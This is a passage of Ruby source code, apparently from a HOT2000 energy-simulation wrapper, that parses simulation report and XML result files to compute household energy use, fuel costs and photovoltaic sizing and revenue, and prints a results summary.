else\n\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHLR[binNo] = valuesArr[1].to_f\n $binDatT2cap[binNo] = valuesArr[3].to_f\n $binDatT2PLR[binNo] = 1.0\n $binDatT1PLR[binNo] = valuesArr[5].to_f\n\n\n end\n end\n\n\n #Get heat pump w/gas back up data.\n if ( $GOPparse )\n\n if ( $lineIn !~ /^@290/ )\n # Header - ignore\n else\n debug_out(\"ROUTSTR ? GOP parse: #{$lineIn} \\n\")\n valuesArr = $lineIn.split()\n binNo = valuesArr[1].to_i\n $binDatHLR[binNo] = valuesArr[2].to_f\n $binDatT2cap[binNo] = valuesArr[3].to_f\n $binDatT2PLR[binNo] = 1.0\n $binDatT1PLR[binNo] = valuesArr[6].to_f\n\n\n end\n\n\n\n end\n\n\n\n # Get Electric furnace data\n if ( $EFBCparse )\n debug_out(\"ROUTSTR ? Electric Furnace : #{$lineIn} \\n\")\n if ($lineIn =~ /ElectricFurnaceBC:/ || $lineIn !~ /^\\s*[0-9]/)\n # Header - ignore\n else\n\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHLR[binNo] = valuesArr[1].to_f\n $binDatT1PLR[binNo] = valuesArr[3].to_f\n\n\n end\n end\n\n\n # Get heat pump data\n if ( $HPparse )\n debug_out(\"ROUTSTR ? Heat pump : #{$lineIn} \\n\")\n if ($lineIn =~ /AboveHPBP/ || $lineIn !~ /^\\s*[0-9]/ )\n # Header - ignore\n else\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHLR[binNo] = valuesArr[2].to_f\n $binDatT2cap[binNo] = valuesArr[4].to_f\n $binDatT2PLR[binNo] = valuesArr[5].to_f\n\n\n end\n end\n\n end # end of while loop\n\n\n stream_out(\"done.\\n\")\n fRoutStr.close()\n #rescue\n # fatalerror(\"Could not read ROutStr.txt\\n\")\n\n #end\n end #of reading ROUTSTR file\n\n\n\n\n\n debug_out(\" bin data: #{'%4s' \"bin\"} #{'%12s' % \"$binDatHrs\"} #{'%12s' % \"$binDatTmp\"} #{'%12s' % \"$binDatTsfB\"} #{'%12s' % \"$binDatHLR\"} #{'%12s' % \"$binDatT1PLR\"} #{'%12s' % \"$binDatT2PLR\"} #{'%12s' % \"$binDatT2cap\"}\\n\" )\n 32.times do |n|\n\n bin = n + 1\n debug_out(\" bin data: #{'%4s' % bin} #{'%12s' % $binDatHrs[bin]} #{'%12s' % $binDatTmp[bin]} #{'%12s' % $binDatTsfB[bin]} #{'%12s' % $binDatHLR[bin]} #{'%12s' % $binDatT1PLR[bin]} #{'%12s' % $binDatT2PLR[bin]} #{'%12s' % $binDatT2cap[bin]}\\n\" )\n\n end\n\n\n\n\n\n\n\n\n\n\n # Determine if need to read old ERS number based on existence of file Set_EGH.h2k in H2K folder\n if File.exist?(\"#{$run_path}\\\\Set_EGH.h2k\") then\n bReadOldERSValue = true\n end\n\n\n # Read from Browse.rpt ASCII file *if* data not available in XML (.h2k file)!\n if bReadOldERSValue || bReadAirConditioningLoad || $PVIntModel\n begin\n fBrowseRpt = File.new(\"#{$OutputFolder}\\\\Browse.Rpt\", \"r\")\n while !fBrowseRpt.eof? do\n lineIn = fBrowseRpt.readline # Sequentially read file lines\n lineIn.strip! # Remove leading and trailing whitespace\n if ( lineIn !~ /^\\s*$/ ) # Not an empty line!\n if ( bReadOldERSValue && lineIn =~ /^Energuide Rating \\(not rounded\\) =/ )\n lineIn.sub!(/Energuide Rating \\(not rounded\\) =/, '')\n lineIn.strip!\n $gERSNum = lineIn.to_f # Use * scaleData?\n bReadOldERSValue = false\n break if !$PVIntModel # Stop parsing Browse.rpt when ERS number found!\n elsif ( ( $PVIntModel && lineIn =~ /PHOTOVOLTAIC SYSTEM MONTHLY PERFORMANCE/ ) || ( $PVIntModel && bUseNextPVLine ) )\n bUseNextPVLine = true\n if ( lineIn =~ /^Annual/ )\n valuesArr = lineIn.split() # Uses spaces by default to split-up line\n $annPVPowerFromBrowseRpt = valuesArr[4].to_f * 12.0 / 1000.0 # kW (approx PV power)\n break # PV power near bottom and last value to read!\n end\n elsif ( (bReadAirConditioningLoad && lineIn =~ /AIR CONDITIONING SYSTEM PERFORMANCE/) || bUseNextACLine)\n bUseNextACLine = true\n if ( lineIn =~ /^Ann/ ) # Look for the annual results\n valuesArr = lineIn.split() # Uses spaces by default to split-up line\n $annACSensibleLoadFromBrowseRpt = valuesArr[1].to_f #Annual AirConditioning Sensible Load (MJ)\n $annACLatentLoadFromBrowseRpt = valuesArr[2].to_f #Annual AirConditioning Latent Load (MJ)\n $AvgACCOP = valuesArr[8].to_f #Average COP of AirConditioning\n $TotalAirConditioningLoad = ($annACSensibleLoadFromBrowseRpt + $annACLatentLoadFromBrowseRpt) / 1000.0 # Divided by 1000 to convert unit to GJ\n bUseNextACLine = false\n break if !$PVIntModel # Stop parsing Browse.rpt if noting else required!\n end\n end\n end\n end\n fBrowseRpt.close()\n rescue\n fatalerror(\"Could not read Browse.Rpt.\\n\")\n end\n end\n\n # ===================== Get house information from the XML file\n if ($FlagHouseInfo)\n getHouseInfo(h2kPostElements)\n end\n\n # ===================== Get envelope characteristics from the XML file\n getEnvelopeSpecs(h2kPostElements)\n\n # ==================== Get electricity rate structure for external PV model use\n if ($PVsize !~ /NoPV/ )\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/Minimum\"\n $gElecRate[\"ElecMthMinCharge$\"] = h2kPostElements[locationText].attributes[\"charge\"].to_f\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/RateBlocks/Block1\"\n $gElecRate[\"ElecBlck1Units\"] = h2kPostElements[locationText].attributes[\"units\"].to_f\n $gElecRate[\"ElecBlck1CostPerUnit\"] = h2kPostElements[locationText].attributes[\"costPerUnit\"].to_f\n if ( h2kPostElements[locationText].attributes[\"units\"] != \"99999\" )\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/RateBlocks/Block2\"\n $gElecRate[\"ElecBlck2Units\"] = h2kPostElements[locationText].attributes[\"units\"].to_f\n $gElecRate[\"ElecBlck2CostPerUnit\"] = h2kPostElements[locationText].attributes[\"costPerUnit\"].to_f\n if ( h2kPostElements[locationText].attributes[\"units\"] != \"99999\" )\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/RateBlocks/Block3\"\n $gElecRate[\"ElecBlck3Units\"] = h2kPostElements[locationText].attributes[\"units\"].to_f\n $gElecRate[\"ElecBlck3CostPerUnit\"] = h2kPostElements[locationText].attributes[\"costPerUnit\"].to_f\n if ( h2kPostElements[locationText].attributes[\"units\"] != \"99999\" )\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/RateBlocks/Block4\"\n $gElecRate[\"ElecBlck4Units\"] = h2kPostElements[locationText].attributes[\"units\"].to_f\n $gElecRate[\"ElecBlck4CostPerUnit\"] = h2kPostElements[locationText].attributes[\"costPerUnit\"].to_f\n end\n end\n end\n end\n\n # Get house heated floor area\n $FloorArea = getHeatedFloorArea( h2kPostElements )\n $HouseVolume= h2kPostElements[\"HouseFile/House/NaturalAirInfiltration/Specifications/House\"].attributes[\"volume\"].to_f\n # ==================== Get results for all h2k calcs from XML file (except above case)\n\n parseDebug = true\n $HCRequestedfound = false\n $HCGeneralFound = false\n $HCSOCFound = false\n\n # Make sure that the code we want is available\n h2kPostElements[\"HouseFile/AllResults\"].elements.each do |element|\n\n houseCode = element.attributes[\"houseCode\"]\n\n # 05-Feb-2018 JTB: Note that in Non-Program (ERS) mode there is no \"houseCode\" attribute in the single element results set!\n # When in Program mode there are multiple element results sets (7). The first set has no houseCode attribute, the next six (6)\n # do have a value for the houseCode attribute. The last set has the houseCode attribute of \"UserHouse\", which almost exactly\n # matches the first results set (General mode results).\n if (houseCode == nil && element.attributes[\"sha256\"] != nil)\n houseCode = \"General\"\n end\n\n if (houseCode == \"#{$outputHCode}\" )\n $HCRequestedfoundfound = true\n end\n\n if ( houseCode == \"SOC\" )\n $HCSOCFound = true\n end\n\n if ( houseCode == \"General\" )\n $HCGeneralFound = true\n end\n\n end\n\n if ( ! $HCRequestedfound && $outputHCode != \"General\" )\n $ThisMsg = \"HOT2000 didn't generate \\\"#{$outputHCode}\\\" result set. \"\n\n if ( $HCSOCFound )\n $outputHCode = \"SOC\"\n elsif ( $HCGeneralFound )\n $outputHCode = \"General\"\n end\n\n $ThisMsg +=\" Reporting result set \\\"#{$outputHCode}\\\" result instead. \\n\"\n warn_out($ThisMsg)\n end\n\n h2kPostElements[\"HouseFile/AllResults\"].elements.each do |element|\n\n houseCode = element.attributes[\"houseCode\"]\n\n if (houseCode == nil && element.attributes[\"sha256\"] != nil)\n houseCode = \"General\"\n end\n\n # JTB 31-Jan-2018: Limiting results parsing to 1 set specified by user in choice file and saved in $outputHCode\n if (houseCode =~ /#{$outputHCode}/)\n\n stream_out( \"\\n Parsing results from set: #{$outputHCode} ...\")\n\n # Energy Consumption (Annual GJ)\n $gResults[houseCode][\"avgEnergyTotalGJ\"] = element.elements[\".//Annual/Consumption\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyHeatingGJ\"] = element.elements[\".//Annual/Consumption/SpaceHeating\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgGrossHeatLossGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyCoolingGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"airConditioning\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyVentilationGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"ventilation\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyEquipmentGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"baseload\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyWaterHeatingGJ\"] = element.elements[\".//Annual/Consumption/HotWater\"].attributes[\"total\"].to_f * scaleData\n\n if $ExtraOutput1 then\n # Total Heat Loss of all zones by component (GJ)\n $gResults[houseCode][\"EnvHLTotalGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLCeilingGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"ceiling\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLMainWallsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"mainWalls\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLWindowsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"windows\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLDoorsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"doors\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLExpFloorsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"exposedFloors\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLCrawlspaceGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"crawlspace\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLSlabGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"slab\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLBasementBGWallGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"basementBelowGradeWall\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLBasementAGWallGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"basementAboveGradeWall\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLBasementFlrHdrsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"basementFloorHeaders\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLPonyWallGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"ponyWall\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLFlrsAbvBasementGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"floorsAboveBasement\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLAirLkVentGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"airLeakageAndNaturalVentilation\"].to_f * scaleData\n\n # Annual DHW heating load [GJ] -- heating load (or demand) on DHW system (before efficiency applied)\n $gResults[houseCode][\"AnnHotWaterLoadGJ\"] = element.elements[\".//Annual/HotWaterDemand\"].attributes[\"base\"].to_f * scaleData\n end\n\n # Design loads, other data\n $gResults[houseCode][\"avgOthPeakHeatingLoadW\"] = element.elements[\".//Other\"].attributes[\"designHeatLossRate\"].to_f * scaleData\n $gResults[houseCode][\"avgOthPeakCoolingLoadW\"] = element.elements[\".//Other\"].attributes[\"designCoolLossRate\"].to_f * scaleData\n\n $gResults[houseCode][\"avgOthSeasonalHeatEff\"] = element.elements[\".//Other\"].attributes[\"seasonalHeatEfficiency\"].to_f * scaleData\n $gResults[houseCode][\"avgVntAirChangeRateNatural\"] = element.elements[\".//Annual/AirChangeRate\"].attributes[\"natural\"].to_f * scaleData\n $gResults[houseCode][\"avgVntAirChangeRateTotal\"] = element.elements[\".//Annual/AirChangeRate\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgSolarGainsUtilized\"] = element.elements[\".//Annual/UtilizedSolarGains\"].attributes[\"value\"].to_f * scaleData\n $gResults[houseCode][\"avgVntMinAirChangeRate\"] = element.elements[\".//Other/Ventilation\"].attributes[\"minimumAirChangeRate\"].to_f * scaleData\n\n $gResults[houseCode][\"avgFuelCostsElec$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"electrical\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelCostsNatGas$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"naturalGas\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelCostsOil$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"oil\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelCostsPropane$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"propane\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelCostsWood$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"wood\"].to_f * scaleData\n\n if $ExtraOutput1 then\n # Annual SpaceHeating and HotWater energy by fuel type [GJ]\n $gResults[houseCode][\"AnnSpcHeatElecGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnSpcHeatGasGJ\"] = element.elements[\".//Annual/Consumption/NaturalGas\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnSpcHeatOilGJ\"] = element.elements[\".//Annual/Consumption/Oil\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnSpcHeatPropGJ\"] = element.elements[\".//Annual/Consumption/Propane\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnSpcHeatWoodGJ\"] = element.elements[\".//Annual/Consumption/Wood\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterElecGJ\"] = element.elements[\".//Annual/Consumption/Electrical/HotWater\"].attributes[\"dhw\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterGasGJ\"] = element.elements[\".//Annual/Consumption/NaturalGas\"].attributes[\"hotWater\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterOilGJ\"] = element.elements[\".//Annual/Consumption/Oil\"].attributes[\"hotWater\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterPropGJ\"] = element.elements[\".//Annual/Consumption/Propane\"].attributes[\"hotWater\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterWoodGJ\"] = element.elements[\".//Annual/Consumption/Wood\"].attributes[\"hotWater\"].to_f * scaleData\n end\n\n $gResults[houseCode][\"avgFueluseElecGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"total\"].to_f * scaleData\n\n # Bug in v11.3b90: The annual electrical energy total is 0 even though its components are not. Workaround below.\n # 07-APR-2018 JTB: This should only be checked when there is NO internal PV model in use!\n if !$PVIntModel && $gResults[houseCode][\"avgFueluseElecGJ\"] == 0 then\n $gResults[houseCode][\"avgFueluseElecGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"baseload\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"airConditioning\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"appliance\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"lighting\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"heatPump\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"spaceHeating\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"spaceCooling\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"ventilation\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical/HotWater\"].attributes[\"dhw\"].to_f * scaleData\n end\n $gResults[houseCode][\"avgFueluseNatGasGJ\"] = element.elements[\".//Annual/Consumption/NaturalGas\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgFueluseOilGJ\"] = element.elements[\".//Annual/Consumption/Oil\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelusePropaneGJ\"] = element.elements[\".//Annual/Consumption/Propane\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgFueluseWoodGJ\"] = element.elements[\".//Annual/Consumption/Wood\"].attributes[\"total\"].to_f * scaleData\n\n $gResults[houseCode][\"avgFueluseEleckWh\"] = $gResults[houseCode][\"avgFueluseElecGJ\"] * 277.77777778\n $gResults[houseCode][\"avgFueluseNatGasM3\"] = $gResults[houseCode][\"avgFueluseNatGasGJ\"] * 26.853\n $gResults[houseCode][\"avgFueluseOilL\"] = $gResults[houseCode][\"avgFueluseOilGJ\"] * 25.9576\n $gResults[houseCode][\"avgFuelusePropaneL\"] = $gResults[houseCode][\"avgFuelusePropaneGJ\"] / 25.23 * 1000\n $gResults[houseCode][\"avgFueluseWoodcord\"] = $gResults[houseCode][\"avgFueluseWoodGJ\"] / 18.30 # estimated GJ/cord for wood/pellet burning from YHC Fuel Cost Comparison.xls\n\n $gResults[houseCode][\"avgFuelCostsTotal$\"] = $gResults[houseCode][\"avgFuelCostsElec$\"] +\n $gResults[houseCode][\"avgFuelCostsNatGas$\"] +\n $gResults[houseCode][\"avgFuelCostsOil$\"] +\n $gResults[houseCode][\"avgFuelCostsPropane$\"] +\n $gResults[houseCode][\"avgFuelCostsWood$\"]\n\n # JTB 10-Nov-2016: Changed variable name from avgEnergyTotalGJ to \"..Gross..\" and uncommented\n # the reading of avgEnergyTotalGJ above. This value does NOT include utilized PV energy and\n # avgEnergyTotalGJ does when there is an internal H2K PV model.\n $gResults[houseCode][\"avgEnergyGrossGJ\"] = $gResults[houseCode]['avgEnergyHeatingGJ'].to_f +\n $gResults[houseCode]['avgEnergyWaterHeatingGJ'].to_f +\n $gResults[houseCode]['avgEnergyVentilationGJ'].to_f +\n $gResults[houseCode]['avgEnergyCoolingGJ'].to_f +\n $gResults[houseCode]['avgEnergyEquipmentGJ'].to_f\n\n\n\n monthArr = [ \"january\", \"february\", \"march\", \"april\", \"may\", \"june\", \"july\", \"august\", \"september\", \"october\", \"november\", \"december\" ]\n # Picking up AUX energy requirement from each result set.\n\n $gAuxEnergyHeatingGJ = 0\n $MonthlyAuxHeatingMJ = 0\n monthArr.each do |mth|\n $gAuxEnergyHeatingGJ += element.elements[\".//Monthly/UtilizedAuxiliaryHeatRequired\"].attributes[mth].to_f / 1000\n end\n\n # ASF 03-Oct-2016 - picking up PV generation from each individual result set.\n if ( $PVIntModel )\n pvAvailable = 0\n pvUtilized = 0\n #monthArr = [ \"january\", \"february\", \"march\", \"april\", \"may\", \"june\", \"july\", \"august\", \"september\", \"october\", \"november\", \"december\" ]\n monthArr.each do |mth|\n # ASF: 03-Oct-2016: Note inner caps on PhotoVoltaic likely an error (and inconsistent with convention used\n # elsewhere in the h2k file. Watch out for future .h2k file format changes here!)\n # ASF: 05-Oct-2016: I suspect this loop is really expensive.\n pvAvailable += h2kPostElements[\".//Monthly/Load/PhotoVoltaicAvailable\"].attributes[mth].to_f # GJ\n pvUtilized += h2kPostElements[\".//Monthly/Load/PhotoVoltaicUtilized\"].attributes[mth].to_f # GJ\n end\n # 10-Nov-2016 JTB: Use annual PV values only! HOT2000 redistributes the monthly excesses, if available!\n $gResults[houseCode][\"avgEnergyPVAvailableGJ\"] = pvAvailable # GJ\n $gResults[houseCode][\"avgEnergyPVUtilizedGJ\"] = pvUtilized # GJ\n $gResults[houseCode][\"avgElecPVGenkWh\"] = $gResults[houseCode][\"avgEnergyPVAvailableGJ\"] * 277.777778 # kWh\n $gResults[houseCode][\"avgElecPVUsedkWh\"] = $gResults[houseCode][\"avgEnergyPVUtilizedGJ\"] * 277.777778 # kWh\n\n # ***** Calculation of NET PV Revenue using HOT2000 model *****\n # 10-Nov-2016 JTB: Assumes that all annual PV energy available is used to reduce house electricity\n # to zero first, the balance is sold to utility at the rate PVTarrifDollarsPerkWh,\n # which is specified in the options file (defaulted at top if not in Options file!).\n netAnnualPV = $gResults[houseCode][\"avgElecPVGenkWh\"] - $gResults[houseCode][\"avgElecPVUsedkWh\"]\n if ( netAnnualPV > 0 )\n $gResults[houseCode][\"avgPVRevenue\"] = netAnnualPV * $PVTarrifDollarsPerkWh\n else\n $gResults[houseCode][\"avgPVRevenue\"] = 0\n end\n else\n # Calculate and reset these values below if external PV model used\n $gResults[houseCode][\"avgEnergyPVAvailableGJ\"] = 0.0\n $gResults[houseCode][\"avgEnergyPVUtilizedGJ\"] = 0.0\n $gResults[houseCode][\"avgElecPVGenkWh\"] = 0.0\n $gResults[houseCode][\"avgElecPVUsedkWh\"] = 0.0\n $gResults[houseCode][\"avgPVRevenue\"] = 0.0\n end\n\n # This is used for debugging only.\n diff = ( $gResults[houseCode][\"avgFueluseElecGJ\"].to_f +\n $gResults[houseCode][\"avgFueluseNatGasGJ\"].to_f -\n $gResults[houseCode][\"avgEnergyPVUtilizedGJ\"]) - $gResults[houseCode][\"avgEnergyTotalGJ\"].to_f\n $gResults[houseCode][\"zH2K-debug-Energy\"] = diff.to_f * scaleData\n\n break # break out of the element loop to avoid further processing\n\n end\n\n end # h2kPostElements |element| loop (and scope of local variable houseCode!)\n\n if ( $gDebug )\n $gResults.each do |houseCode, data|\n debug_out (\">Results for \" << houseCode.to_s)\n data.each do | var, value |\n debug_out (\" - \" << var.to_s << \" : \" << value.to_s )\n end\n end\n end\n\n $gAvgCost_Pellet = 0 # H2K doesn't identify pellets in output (only inputs)!\n\n # Total of all fuels in GJ\n $gAvgEnergy_Total = $gResults[$outputHCode][\"avgFueluseElecGJ\"] + $gResults[$outputHCode][\"avgFueluseNatGasGJ\"] +\n $gResults[$outputHCode][\"avgFueluseOilGJ\"] + $gResults[$outputHCode][\"avgFuelusePropaneGJ\"] +\n $gResults[$outputHCode][\"avgFueluseWoodGJ\"]\n\n # JTB 12-Nov-2016 : Updated and still valid. Sets cost of PV based on model type\n # and estimates PV kW size.\n # PV Data cost...\n $PVArrayCost = 0.0\n $PVArraySized = 0.0\n # Stand-off PV code depriciated. Need to figure out how to get PV size from H2k results.\n $PVsize = \"NoPV\"\n $PVcapacity = $PVsize\n $PVcapacity.gsub(/[a-zA-Z:\\s'\\|]/, '')\n if ( !$PVIntModel && ( $PVcapacity == \"\" || $PVcapacity == \"NoPV\" ) )\n $PVcapacity = 0.0\n end\n if ( $PVIntModel )\n if ( $PVInt != \"NA\" )\n # JTB 03-Nov-2016: The Cost field for Opt-H2K-PV is total cost NOT unit cost!!\n $PVUnitCost = $gOptions[\"Opt-H2K-PV\"][\"options\"][ $gChoices[\"Opt-H2K-PV\"] ][\"cost\"].to_f\n $PVUnitOutput = 0.0 # GJ/kW not used or estimated for internal H2K PV model\n else\n # No PV option specified in choice file (PV internal model part of base file)\n $PVUnitCost = 0.0\n $PVUnitOutput = 0.0\n end\n elsif ( $PVsize != \"NoPV\" )\n\n # Depreciated - to be removed.\n #$PVUnitCost = $gOptions[\"Opt-StandoffPV\"][\"options\"][\"SizedPV\"][\"cost\"].to_f\n #$PVUnitOutput = $gOptions[\"Opt-StandoffPV\"][\"options\"][\"SizedPV\"][\"ext-result\"][\"production-elec-perKW\"].to_f # GJ/kW\n end\n\n if ( $PVsize =~ /NoPV/ )\n # NoPV\n $gPVProduction = 0.0\n $PVArrayCost = 0.0\n elsif ( $PVsize =~ /SizedPV/ )\n # Size PV according to user specification, to max, or to size required to reach Net-Zero.\n # User-specified PV size (format is 'SizedPV|XkW', PV will be sized to X kW'.\n if ( $gExtraDataSpecd[\"Opt-StandoffPV\"] =~ /kW/ )\n $PVArraySized = $gExtraDataSpecd[\"Opt-StandoffPV\"].to_f # ignores \"kW\" in string\n $PVArrayCost = $PVUnitCost * $PVArraySized\n $gPVProduction = -1.0 * $PVUnitOutput * $PVArraySized\n $PVsize = \"spec'd SizedPV | #{$PVArraySized} kW\"\n else\n # USER Hasn't specified PV size, Size PV to attempt to get to net-zero.\n # First, get the home's total energy requirement.\n $prePVEnergy = $gAvgEnergy_Total\n if ( $prePVEnergy > 0 )\n # This should always be the case!\n $PVArraySized = $prePVEnergy / $PVUnitOutput # KW Capacity\n $PVmultiplier = 1.0\n if ( $PVArraySized > 14.0 )\n $PVmultiplier = 2.0\n end\n $PVArrayCost = $PVArraySized * $PVUnitCost * $PVmultiplier\n $PVsize = \" scaled: \" + \"#{$PVArraySized.round(1)} kW\"\n $gPVProduction = -1.0 * $PVUnitOutput * $PVArraySized\n else\n # House is already energy positive, no PV needed. Shouldn't happen!\n $PVsize = \"0.0 kW\"\n $PVArrayCost = 0.0\n end\n # Debug: How big is the sized array?\n debug_out (\"\\n PV array is #{$PVsize} ...\\n\")\n end\n end\n\n # Depreciated. To be deleted.\n #$gChoices[\"Opt-StandoffPV\"] = $PVsize\n #$gOptions[\"Opt-StandoffPV\"][\"options\"][$PVsize][\"cost\"] = $PVArrayCost\n\n\n # PV energy from HOT2000 model run (GJ) or estimate from option file PV data\n if ( $PVIntModel )\n $PVcapacity = $annPVPowerFromBrowseRpt # kW\n $PVsize = \" H2K: \" + \"#{$PVcapacity.round(1)} kW\"\n $gEnergyPV = $gResults[$outputHCode][\"avgEnergyPVUtilizedGJ\"]\n\n debug_out (\"\\n PV array is #{$PVsize} ...\\n\")\n elsif ( $PVsize !~ /NoPV/ )\n # PV energy comes from an estimate using Opt-StandoffPV specification. Uses options file\n # number for GJ/kW PV energy production for location and roof pitch.\n $PVcapacity = $PVArraySized # kW\n $gEnergyPV = $gPVProduction * -1.0 # GJ\n\n # Set values for external PV model (initialized to zero above)...\n $gResults[$outputHCode][\"avgEnergyPVAvailableGJ\"] = $gEnergyPV\n if ( $gResults[$outputHCode][\"avgFueluseElecGJ\"] > $gEnergyPV )\n # Decrease house electricity use by PV energy productions\n $gResults[$outputHCode][\"avgEnergyPVUtilizedGJ\"] = $gEnergyPV\n $gResults[$outputHCode][\"avgFueluseElecGJ\"] -= $gEnergyPV\n $gResults[$outputHCode][\"avgFueluseEleckWh\"] = $gResults[$outputHCode][\"avgFueluseElecGJ\"] * 277.77777778\n # Calculate new electricity cost and also update total fuel costs!\n calcElectCost( \"annual\" )\n else\n # PV production at least enough to cover house electrical needs!\n $gResults[$outputHCode][\"avgEnergyPVUtilizedGJ\"] = $gResults[$outputHCode][\"avgFueluseElecGJ\"]\n $gResults[$outputHCode][\"avgFueluseElecGJ\"] = 0.0\n $gResults[$outputHCode][\"avgFueluseEleckWh\"] = 0.0\n # New electricity cost is just the monthly minimum (also update total fuel cost)!\n calcElectCost( \"annualMin\" )\n end\n $gResults[$outputHCode][\"avgElecPVGenkWh\"] = $gResults[$outputHCode][\"avgEnergyPVAvailableGJ\"] * 277.777778 # kWh\n $gResults[$outputHCode][\"avgElecPVUsedkWh\"] = $gResults[$outputHCode][\"avgEnergyPVUtilizedGJ\"] * 277.777778 # kWh\n\n netAnnualPV = $gResults[$outputHCode][\"avgElecPVGenkWh\"] - $gResults[$outputHCode][\"avgElecPVUsedkWh\"]\n if ( netAnnualPV > 0 )\n $gResults[$outputHCode][\"avgPVRevenue\"] = netAnnualPV * $PVTarrifDollarsPerkWh\n else\n $gResults[$outputHCode][\"avgPVRevenue\"] = 0\n end\n end\n\n stream_out( \" done \\n\")\n\n stream_out \"\\n----------------------- SIMULATION RESULTS ---------------------------------\\n\"\n\n stream_out \"\\n Peak Heating Load (W): #{$gResults[$outputHCode]['avgOthPeakHeatingLoadW'].round(1)} \\n\"\n stream_out \" Peak Cooling Load (W): #{$gResults[$outputHCode]['avgOthPeakCoolingLoadW'].round(1)} \\n\"\n\n stream_out(\"\\n Energy Consumption: \\n\\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyHeatingGJ'].round(1)} ( Space Heating, GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyWaterHeatingGJ'].round(1)} ( Hot Water, GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyVentilationGJ'].round(1)} ( Ventilator Electrical, GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyCoolingGJ'].round(1)} ( Space Cooling, GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyEquipmentGJ'].round(1)} ( Appliances + Lights + Plugs + outdoor, GJ ) \\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n stream_out ( 